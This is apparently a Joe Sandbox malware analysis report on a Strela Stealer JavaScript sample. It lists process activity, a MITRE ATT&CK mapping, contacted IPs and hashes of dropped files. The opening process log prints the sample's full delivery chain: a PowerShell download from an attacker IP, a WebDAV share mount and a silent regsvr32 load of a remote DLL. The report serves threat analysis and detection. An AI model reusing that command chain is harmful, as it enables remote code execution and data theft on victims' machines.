Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\2412849879429.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	32 Scripting	Valid Accounts	1 Command and Scripting Interpreter	32 Scripting	11 Process Injection	11 Masquerading	OS Credential Dumping	1 Network Share Discovery	Remote Services	Data from Local System	1 Data Obfuscation	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	1 Native API	1 DLL Side-Loading	1 DLL Side-Loading	131 Virtualization/Sandbox Evasion	LSASS Memory	11 Security Software Discovery	Remote Desktop Protocol	Data from Removable Media	11 Non-Standard Port	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	1 Exploitation for Client Execution	Logon Script (Windows)	Logon Script (Windows)	11 Process Injection	Security Account Manager	1 Process Discovery	SMB/Windows Admin Shares	Data from Network Shared Drive	1 Ingress Tool Transfer	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	2 PowerShell	Login Hook	Login Hook	1 Obfuscated Files or Information	NTDS	131 Virtualization/Sandbox Evasion	Distributed Component Object Model	Input Capture	2 Non-Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	1 DLL Side-Loading	LSA Secrets	1 Application Window Discovery	SSH	Keylogging	12 Application Layer Protocol	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	Steganography	Cached Domain Credentials	1 File and Directory Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	Compile After Delivery	DCSync	122 System Information Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
2445839083247016653.js	5%	Virustotal		Browse
2445839083247016653.js	8%	ReversingLabs	Script-JS.Trojan.StrelaStealer

Source	Detection	Scanner	Label
http://193.143.1.205:8888/$	0%	Avira URL Cloud	safe
http://193.143.1.205:8888/8	0%	Avira URL Cloud	safe
http://193.143.1.205:8888/space81	0%	Avira URL Cloud	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Antivirus Detection	Reputation
default.qdr.p1.ds-c7110-microsoft.global.dns.qwilted-cds.cqloud.com	217.20.57.18	true	false		high
x1.i.lencr.org	unknown	unknown	false		high

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
http://193.143.1.205/invoice.php	false		high

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
http://193.143.1.205:8888/8	net.exe, 00000007.00000002.2182562937.00000143CDBAB000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000003.2179253606.00000143CDBAB000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: safe	unknown
https://g.live.com/odclientsettings/ProdV21C:	svchost.exe, 00000009.00000003.2180037438.0000022895B60000.00000004.00000800.00020000.00000000.sdmp, edb.log.9.dr	false		high
http://crl.ver)	svchost.exe, 00000009.00000002.3413013383.0000022895C00000.00000004.00000020.00020000.00000000.sdmp	false		high
http://x1.i.lencr.org/	2D85F72862B55C4EADD9E66E06947F3D0.8.dr	false		high
https://g.live.com/odclientsettings/Prod1C:	qmgr.db.9.dr	false		high
http://193.143.1.205:8888/$	net.exe, 00000007.00000002.2182562937.00000143CDBAB000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000003.2179253606.00000143CDBAB000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: safe	unknown
http://193.143.1.205:8888/	net.exe, 00000007.00000003.2179192768.00000143CDBCB000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000002.2182562937.00000143CDBAB000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000003.2179253606.00000143CDBAB000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000002.2182489273.00000143CDB78000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000002.2182562937.00000143CDBCD000.00000004.00000020.00020000.00000000.sdmp	false		high
http://193.143.1.205:8888/space81	net.exe, 00000007.00000002.2182489273.00000143CDB78000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: safe	unknown

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	Flag	ASN	ASN Name	Malicious
193.143.1.205	unknown	unknown		57271	BITWEB-ASRU	true

Private

IP
127.0.0.1

General Information

Joe Sandbox version:	42.0.0 Malachite
Analysis ID:	1588377
Start date and time:	2025-01-11 01:34:00 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 4m 53s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	17
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled GSI enabled (Javascript) AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	2445839083247016653.js
Detection:	MAL
Classification:	mal100.rans.troj.spyw.expl.evad.winJS@27/57@1/2
EGA Information:	Failed
HCA Information:	Successful, ratio: 100% Number of executed functions: 0 Number of non-executed functions: 0
Cookbook Comments:	Found application associated with file extension: .js

Warnings

Exclude process from analysis (whitelisted): dllhost.exe, WMIADAP.exe, SIHClient.exe
Excluded IPs from analysis (whitelisted): 184.28.88.176, 50.16.47.176, 54.224.241.105, 18.213.11.84, 34.237.241.83, 172.64.41.3, 162.159.61.3, 2.23.242.162, 2.16.168.105, 2.16.168.107, 23.209.209.135, 217.20.57.18, 2.22.242.123, 2.22.242.11, 13.107.246.45, 52.149.20.212, 23.56.162.204, 20.109.210.53
Excluded domains from analysis (whitelisted): e4578.dscg.akamaiedge.net, chrome.cloudflare-dns.com, client.wns.windows.com, fs.microsoft.com, e8652.dscx.akamaiedge.net, otelrules.azureedge.net, slscr.update.microsoft.com, acroipm2.adobe.com.edgesuite.net, ctldl.windowsupdate.com.delivery.microsoft.com, ctldl.windowsupdate.com, p13n.adobe.io, fs-wildcard.microsoft.com.edgekey.net, fs-wildcard.microsoft.com.edgekey.net.globalredir.akadns.net, acroipm2.adobe.com, fe3cr.delivery.mp.microsoft.com, ocsp.digicert.com, armmf.adobe.com, ssl-delivery.adobe.com.edgekey.net, e16604.g.akamaiedge.net, a122.dscd.akamai.net, geo2.adobe.com, prod.fs.microsoft.com.akadns.net, wu-b-net.trafficmanager.net, crl.root-x1.letsencrypt.org.edgekey.net
Not all processes where analyzed, report is missing behavior information
Report size exceeded maximum capacity and may have missing behavior information.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Some HTTP raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.

Simulations

Behavior and APIs

Time	Type	Description
19:34:53	API Interceptor	22x Sleep call for process: powershell.exe modified
19:34:56	API Interceptor	1x Sleep call for process: net.exe modified
19:34:56	API Interceptor	2x Sleep call for process: svchost.exe modified
19:35:09	API Interceptor	2x Sleep call for process: AcroCEF.exe modified

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
193.143.1.205	4947276292772611217.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	15226731132828820.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	2837518771550414407.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	23333227572217423995.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	12621132703258916868.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	2709365481268819493.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	28098292552574015467.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	21534160892486631756.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	129415641190368510.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	17266187282427315527.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
default.qdr.p1.ds-c7110-microsoft.global.dns.qwilted-cds.cqloud.com	4947276292772611217.js	Get hash	malicious	Strela Downloader	Browse	217.20.57.18
	28098292552574015467.js	Get hash	malicious	Strela Downloader	Browse	84.201.210.19
	129415641190368510.js	Get hash	malicious	Strela Downloader	Browse	217.20.57.20
	1238420799116328606.js	Get hash	malicious	Strela Downloader	Browse	217.20.57.43
	1957514819973625739.js	Get hash	malicious	Strela Downloader	Browse	217.20.57.35
	31352150452488124098.js	Get hash	malicious	Strela Downloader	Browse	217.20.57.43
	10965191911914222758.js	Get hash	malicious	Strela Downloader	Browse	217.20.57.18
	241198432146011036.js	Get hash	malicious	Strela Downloader	Browse	84.201.210.34
	2305511452193571644.js	Get hash	malicious	Strela Downloader	Browse	84.201.210.39
	133313712272908537.js	Get hash	malicious	Strela Downloader	Browse	217.20.57.25

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
BITWEB-ASRU	4947276292772611217.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	15226731132828820.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	27374120242908411416.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	7772104212868830459.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	2837518771550414407.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	23333227572217423995.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	12621132703258916868.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	2709365481268819493.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	28098292552574015467.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	21534160892486631756.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	1310720
Entropy (8bit):	0.7263005981938416
Encrypted:	false
SSDEEP:	1536:9J8s6YR3pnhWKInznxTgScwXhCeEcrKYSZNmTHk4UQJ32aqGT46yAwFM5hA7yH01:9JZj5MiKNnNhoxug
MD5:	A5ED3D4275427ADC7C2E9CBFF3CC2A39
SHA1:	88E2402A7FFCE2CB60602579B3819C0E065A4F3D
SHA-256:	619FED68D638FC9E4BD130D534909402C20BA8130A0AE49775E01D4849FCCD62
SHA-512:	47CFCBEE7C3D2DDF211666066CA0977E2AE655430A4C8DB59B044F9014B41A582FB6C375F8B18D6E6D133407D6ABA78953843E67E5F2520ED9A940D20559974B
Malicious:	false
Preview:	...........@..@9....{...;...{..........<...D./..;...{..................C:\ProgramData\Microsoft\Network\Downloader\.........................................................................................................................................................................................................................C:\ProgramData\Microsoft\Network\Downloader\..........................................................................................................................................................................................................................0u..................@...@....................................Fajaj.#.........`h.................h.......6.......X\...;...{..................C.:.\.P.r.o.g.r.a.m.D.a.t.a.\.M.i.c.r.o.s.o.f.t.\.N.e.t.w.o.r.k.\.D.o.w.n.l.o.a.d.e.r.\.q.m.g.r...d.b....................................................................................................................................................................

C:\ProgramData\Microsoft\Network\Downloader\qmgr.db

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	Extensible storage user DataBase, version 0x620, checksum 0x189be122, page size 16384, DirtyShutdown, Windows version 10.0
Category:	dropped
Size (bytes):	1310720
Entropy (8bit):	0.7555520722467011
Encrypted:	false
SSDEEP:	1536:dSB2ESB2SSjlK/svFH03N9Jdt8lYkr3g16xj2UPkLk+kLWyrufTRryrUYc//kbxW:dazaSvGJzYj2UlmOlOL
MD5:	A716D72C768EF962B2E675696E55F5BC
SHA1:	7B8DA2E47E56548F6B9B92B00A81E8B0A2FE79DC
SHA-256:	0B749FC1CD886BF686DACAE9AB7ED8F3C1ABE875073A3799550A57778C35CEBD
SHA-512:	301A34CCAB7D67E295B44516AE58075D907A28999558C69BA2633F5F9DF0918C7827D52C799C06C8ADAC4A4A11DD4B01538CD9183AC6D34AC7FDA0477785E183
Malicious:	false
Preview:	..."... .......7.......X\...;...{......................0.e......!...{?.8"...}..h.g.........................D./..;...{..........................................................................................................eJ......n....@...................................................................................................... .......9....{...............................................................................................................................................................................................2...{....................................^M9"...}......................8"...}...........................#......h.g.....................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	16384
Entropy (8bit):	0.07840664735448191
Encrypted:	false
SSDEEP:	3:UyYeqUs0ENaAPaU1llt/YlluxmO+l/SNxOf:UyzTENDPaUAgmOH
MD5:	A8DABEBBBFCA9A0A6AFD633761347B31
SHA1:	17E0AB23B41316FB2228AB0272ED5760AD071284
SHA-256:	CE1B57E363187C00E33422AB4AC4BBC67D3F09FADAF69B8EE8AC778233D71AE3
SHA-512:	8A3FA62CA1CA262F116A93F13FC947841CDD4616906C8E436B4A45C2607C29EB20B3E360CB0A165514EDB0FFC46D104EE0A847667F1FC0357D24CF86C815EEDE
Malicious:	false
Preview:	.........................................;...{..8"...}...!...{?..........!...{?..!...{?..g...!...{?.....................8"...}..........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	295
Entropy (8bit):	5.221445790942893
Encrypted:	false
SSDEEP:	6:iO4+CslL+q2PN72nKuAl9OmbnIFUtS++T1Zmws+kLVkwON72nKuAl9OmbjLJ:7JC1vVaHAahFUtXc1/Vk5OaHAaSJ
MD5:	3124C58558C1A21800930684FCA356A7
SHA1:	F02C074AF347C475BC88DE902B9F7DDB799C9392
SHA-256:	70A5701048945ABCBC6EB1A81AE642D2C2728E203A40626DB9C649D8B5363FE6
SHA-512:	2FD8F3061EB764BB11051992AF50E11D75D8C92FF06D04D2AD0C4945D6DE956ACCDAB391E266BEC2E5D11D5CE684C0EAF10FECA37669E28BCDF2E0DD782358C0
Malicious:	false
Preview:	2025/01/10-19:34:56.806 918 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/MANIFEST-000001.2025/01/10-19:34:56.809 918 Recovering log #3.2025/01/10-19:34:56.810 918 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG.old (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	295
Entropy (8bit):	5.221445790942893
Encrypted:	false
SSDEEP:	6:iO4+CslL+q2PN72nKuAl9OmbnIFUtS++T1Zmws+kLVkwON72nKuAl9OmbjLJ:7JC1vVaHAahFUtXc1/Vk5OaHAaSJ
MD5:	3124C58558C1A21800930684FCA356A7
SHA1:	F02C074AF347C475BC88DE902B9F7DDB799C9392
SHA-256:	70A5701048945ABCBC6EB1A81AE642D2C2728E203A40626DB9C649D8B5363FE6
SHA-512:	2FD8F3061EB764BB11051992AF50E11D75D8C92FF06D04D2AD0C4945D6DE956ACCDAB391E266BEC2E5D11D5CE684C0EAF10FECA37669E28BCDF2E0DD782358C0
Malicious:	false
Preview:	2025/01/10-19:34:56.806 918 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/MANIFEST-000001.2025/01/10-19:34:56.809 918 Recovering log #3.2025/01/10-19:34:56.810 918 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	339
Entropy (8bit):	5.213903344786495
Encrypted:	false
SSDEEP:	6:iO4+8Iq2PN72nKuAl9Ombzo2jMGIFUtS+mZZmws+VkwON72nKuAl9Ombzo2jMmLJ:7J8IvVaHAa8uFUtXC/VV5OaHAa8RJ
MD5:	D20D3A1985F7B61E12610CD1DA14352B
SHA1:	E1CFBA7BC480053FE9EEAD156EFD44FA02BCC188
SHA-256:	F954C9D28156B3D3323529480561AE476BDDF6242CE2F3B0968499A89D3316CA
SHA-512:	0BEB833B006056683F2F8E409E615E66F98BD065C614B3CE2C51F2D1846338D44A47D80010B2D453491911F1A3A713713A1E34C60F9B90E0E439FEEC03BDD804
Malicious:	false
Preview:	2025/01/10-19:34:56.861 8b0 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/MANIFEST-000001.2025/01/10-19:34:56.867 8b0 Recovering log #3.2025/01/10-19:34:56.888 8b0 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG.old (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	339
Entropy (8bit):	5.213903344786495
Encrypted:	false
SSDEEP:	6:iO4+8Iq2PN72nKuAl9Ombzo2jMGIFUtS+mZZmws+VkwON72nKuAl9Ombzo2jMmLJ:7J8IvVaHAa8uFUtXC/VV5OaHAa8RJ
MD5:	D20D3A1985F7B61E12610CD1DA14352B
SHA1:	E1CFBA7BC480053FE9EEAD156EFD44FA02BCC188
SHA-256:	F954C9D28156B3D3323529480561AE476BDDF6242CE2F3B0968499A89D3316CA
SHA-512:	0BEB833B006056683F2F8E409E615E66F98BD065C614B3CE2C51F2D1846338D44A47D80010B2D453491911F1A3A713713A1E34C60F9B90E0E439FEEC03BDD804
Malicious:	false
Preview:	2025/01/10-19:34:56.861 8b0 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/MANIFEST-000001.2025/01/10-19:34:56.867 8b0 Recovering log #3.2025/01/10-19:34:56.888 8b0 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\7a90f5b7-8883-4479-a7ac-e674467809ac.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	JSON data
Category:	modified
Size (bytes):	475
Entropy (8bit):	4.96719361479114
Encrypted:	false
SSDEEP:	12:YH/um3RA8sqdhsBdOg2HZgcaq3QYiubcP7E4T3y:Y2sRdsSydMHZ3QYhbA7nby
MD5:	FAEBD1D29D4B9C34D65FD9B98BA909D4
SHA1:	964D311548EEF91B2A46FDCEFB13297DF7CB8ECE
SHA-256:	2147E78F3367E28229411A8BD57B603F78A7CD43000A8A671FBAAB73F0A2D6D0
SHA-512:	CF56EB39B4DD14E8C79C8EDE53F286C6471629C5581905B08D5420DF044E18CA0197D78F1757BA2AB8498C5F6E45BD9D3BA143A7A69574B35A2002E1E191AED8
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[{"isolation":[],"server":"https://armmf.adobe.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13381115709298186","port":443,"protocol_str":"quic"}],"isolation":[],"network_stats":{"srtt":132732},"server":"https://chrome.cloudflare-dns.com","supports_spdy":true}],"supports_quic":{"address":"192.168.2.6","used_quic":true},"version":5},"network_qualities":{"CAESABiAgICA+P////8B":"4G"}}}

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\Network Persistent State (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	475
Entropy (8bit):	4.96719361479114
Encrypted:	false
SSDEEP:	12:YH/um3RA8sqdhsBdOg2HZgcaq3QYiubcP7E4T3y:Y2sRdsSydMHZ3QYhbA7nby
MD5:	FAEBD1D29D4B9C34D65FD9B98BA909D4
SHA1:	964D311548EEF91B2A46FDCEFB13297DF7CB8ECE
SHA-256:	2147E78F3367E28229411A8BD57B603F78A7CD43000A8A671FBAAB73F0A2D6D0
SHA-512:	CF56EB39B4DD14E8C79C8EDE53F286C6471629C5581905B08D5420DF044E18CA0197D78F1757BA2AB8498C5F6E45BD9D3BA143A7A69574B35A2002E1E191AED8
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[{"isolation":[],"server":"https://armmf.adobe.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13381115709298186","port":443,"protocol_str":"quic"}],"isolation":[],"network_stats":{"srtt":132732},"server":"https://chrome.cloudflare-dns.com","supports_spdy":true}],"supports_quic":{"address":"192.168.2.6","used_quic":true},"version":5},"network_qualities":{"CAESABiAgICA+P////8B":"4G"}}}

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\000003.log

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	data
Category:	dropped
Size (bytes):	5449
Entropy (8bit):	5.2526987007424815
Encrypted:	false
SSDEEP:	96:av+Nkkl+2GAouz3z3xfNLUS3vHp5OuDzUrMzh28qXAXFP74LRXOtW7ANwE7F8er4:av+Nkkl+2G1uz3zhfZUyPp5OuDzUwzhy
MD5:	E22142E04AF27307B0504233CD10D520
SHA1:	9040FFEED4D66572941C9E699CAFD1044A4D4136
SHA-256:	03426898362A9C3F07EDBC98D5A0827E9B4337281AD339738F83D1E0B9CF7B08
SHA-512:	EC625A17B2578EBC737BFE1847DE459ECE2340657DEFAAFB97A6A2EB7F08252DCB7009B95529834BD0BA40ABF4AF5EAB6DEB662FBAD80973498758B26512C94E
Malicious:	false
Preview:	*...#................version.1..namespace-.X.Bo................next-map-id.1.Pnamespace-c291b69d_46f8_4b09_b54e_d05df8a1271d-https://rna-resource.acrobat.com/.0.>j.r................next-map-id.2.Snamespace-63b958a8_6f71_4fde_913c_6518794b9fd1-https://rna-v2-resource.acrobat.com/.1.J.4r................next-map-id.3.Snamespace-37e4c694_2a8d_4b31_9eb8_e65c5f9e16d5-https://rna-v2-resource.acrobat.com/.2..J.o................next-map-id.4.Pnamespace-d7426d52_3038_4cd9_b9cc_897232425509-https://rna-resource.acrobat.com/.3..M.^...............Pnamespace-c291b69d_46f8_4b09_b54e_d05df8a1271d-https://rna-resource.acrobat.com/..d.^...............Pnamespace-d7426d52_3038_4cd9_b9cc_897232425509-https://rna-resource.acrobat.com/.u..a...............Snamespace-63b958a8_6f71_4fde_913c_6518794b9fd1-https://rna-v2-resource.acrobat.com/..`aa...............Snamespace-37e4c694_2a8d_4b31_9eb8_e65c5f9e16d5-https://rna-v2-resource.acrobat.com/`v.Yo................next-map-id.5.Pnamespace-30587558_ed88_4bd8_adc0_

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	327
Entropy (8bit):	5.201470744279797
Encrypted:	false
SSDEEP:	6:iO4+A1FIq2PN72nKuAl9OmbzNMxIFUtS+OnBZmws+Y/bkwON72nKuAl9OmbzNMFd:7JuFIvVaHAa8jFUtXOB/VYT5OaHAa84J
MD5:	9BFEF30F00B86C4122D0CEE537983A8B
SHA1:	8BDE8731D99C7BB447D77FCEB2772DB58F6FE1BC
SHA-256:	E6429E66BA157298869397157F955C71EF97659C8E26B7FA31C400C110145130
SHA-512:	E9202A24004AB09E4F4026BE120FB9823A4F0EC0203438838C57D171F01B3E9BB249A2748CFCC2FE16228C0A86A3347514C8D3EE3C15BC06135A5F20432FFFCE
Malicious:	false
Preview:	2025/01/10-19:34:56.997 8b0 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/MANIFEST-000001.2025/01/10-19:34:56.999 8b0 Recovering log #3.2025/01/10-19:34:57.000 8b0 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG.old (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	327
Entropy (8bit):	5.201470744279797
Encrypted:	false
SSDEEP:	6:iO4+A1FIq2PN72nKuAl9OmbzNMxIFUtS+OnBZmws+Y/bkwON72nKuAl9OmbzNMFd:7JuFIvVaHAa8jFUtXOB/VYT5OaHAa84J
MD5:	9BFEF30F00B86C4122D0CEE537983A8B
SHA1:	8BDE8731D99C7BB447D77FCEB2772DB58F6FE1BC
SHA-256:	E6429E66BA157298869397157F955C71EF97659C8E26B7FA31C400C110145130
SHA-512:	E9202A24004AB09E4F4026BE120FB9823A4F0EC0203438838C57D171F01B3E9BB249A2748CFCC2FE16228C0A86A3347514C8D3EE3C15BC06135A5F20432FFFCE
Malicious:	false
Preview:	2025/01/10-19:34:56.997 8b0 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/MANIFEST-000001.2025/01/10-19:34:56.999 8b0 Recovering log #3.2025/01/10-19:34:57.000 8b0 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\Acrobat\DC\ReaderMessages

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	SQLite 3.x database, last written using SQLite version 3040000, file counter 11, database pages 21, cookie 0x5, schema 4, UTF-8, version-valid-for 11
Category:	dropped
Size (bytes):	86016
Entropy (8bit):	4.444716836018359
Encrypted:	false
SSDEEP:	384:ye6ci5tdiBA7aDQPsknQ0UNCFOa14ocOUw6zyFzqFkdZ+EUTTcdUZ5yDQhJL:m2s3OazzU89UTTgUL
MD5:	3EAC811390479A24B097A81C0D0401B8
SHA1:	6452A0F7DB47C2923CA117F174E398D898A40D1E
SHA-256:	E25B704824BE22969330DA01D8F8E79BDA6D6204C437D3482F652B3C94964C58
SHA-512:	5C8F1E35B0932D24AA8057ED84887CF716189F4047ED61CB0B5924C49C60392B4E9CB4C318D1481C5CEEA6D8D7B5F6D01C9525E96FE0E38C6ACC2256FD217AF0
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................c.......1........T...U.1.D............................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\LocalLow\Adobe\Acrobat\DC\ReaderMessages-journal

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	SQLite Rollback Journal
Category:	dropped
Size (bytes):	8720
Entropy (8bit):	3.7700507490398913
Encrypted:	false
SSDEEP:	48:7MSJioyVmfioyb8oy1C7oy16oy1paKOioy1noy1AYoy1Wioy1oioykioyBoy1noL:7NJumfiBoSXjBinb9IVXEBodRBkZm
MD5:	9EE97B5777F982D0A6C96AB7B879D66D
SHA1:	05477BF1DDB0B00E475C876F9C77A8749C42FC27
SHA-256:	5AB29E786153CD213477C874CD328C746F0D9FCE0022AB897DA4DB32869D6E1C
SHA-512:	CD06643D89613E974966C04AF7DB4E5D5C144E42010503E9E68361AB7F496D52918397D0BCF99E95A5105F116F20AFD0D541FD1DAC8E296DDC092C9805C98024
Malicious:	false
